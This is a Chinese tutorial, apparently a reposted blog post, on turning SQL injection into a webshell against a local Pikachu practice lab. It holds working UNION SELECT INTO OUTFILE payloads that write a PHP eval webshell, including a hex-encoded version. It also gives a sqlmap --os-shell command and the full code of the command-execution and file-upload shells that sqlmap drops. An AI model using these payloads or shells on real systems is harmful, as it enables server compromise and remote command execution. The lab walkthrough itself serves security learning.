SQL注入到getshell


 SQL注入到getshell

通過本地 pikachu來復現

 前提:

  1.存在SQL注入漏洞

  2.web目錄具有寫入權限

  3.找到網站的絕對路徑

  4.secure_file_priv沒有具體值(secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。)

  在數據庫中查詢輸入 show global variables like '%secure%';

  

首先來看一下網站源碼

 //這里沒有做任何處理,直接拼到select里面去了
    $name=$_GET['name'];
    //這里的變量是字符型,需要考慮閉合
    $query="select id,email from member where username='$name'";

  可以看到沒有任何防護措施,通過閉合來達到SQL注入 name=a'構造語句--+

  如:http://127.1.0.1/pikachu/vul/sqli/sqli_str.php?name=1'UNION SELECT 1,database()--+&submit=查詢

  

  存在SQL注入,用SQL注入mysql數據庫來寫一句話木馬

利用into outfile函數來寫入文件

  ?name=1'UNION SELECT 1,<?php eval($_POST['pass']); ?> into outfile 'D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\shell.php' --+&submit=查詢

  使用以上攻擊會發現,哎~可能是因為特殊符號導致語法錯誤

 

 

   解決方法:對寫入文件轉16進制,在最前面加上0x 得到0x3c3f706870206576616c28245f504f53545b2770617373275d293b203f3e

  構造:?name=1'UNION SELECT 1,0x3c3f706870206576616c28245f504f53545b2770617373275d293b203f3e into outfile 'D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\shell.php' --+&submit=查詢

    寫入成功

   

蟻劍連接

 

 

還可以sqlmap --os-shell來進行文件寫入

  原理:--os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件

  使用方法:sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name --os-shell

 

   輸入寫入的絕對路徑,輸入命令可以執行,同時文件夾下生成五個php文件

 

tmpbpxkj.php文件代碼為(作用執行cmd命令)

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

 

tmpucuaj.php文件代碼(用來文件上傳)

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=D:\\Phpstudy\\WWW\\pikachu\\vul\\sqli\\> <input type=submit name=upload value=upload></form>";}?>
 

如圖

 

tmpubovc.php文件為空

tmpuuzhl.php文件為空

tmpugisl.php文件代碼和tmpucuaj.php相同

可以通過文件上傳來上傳木馬getshell,也可以使用命令寫,例如 echo "hello" > 1.php

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM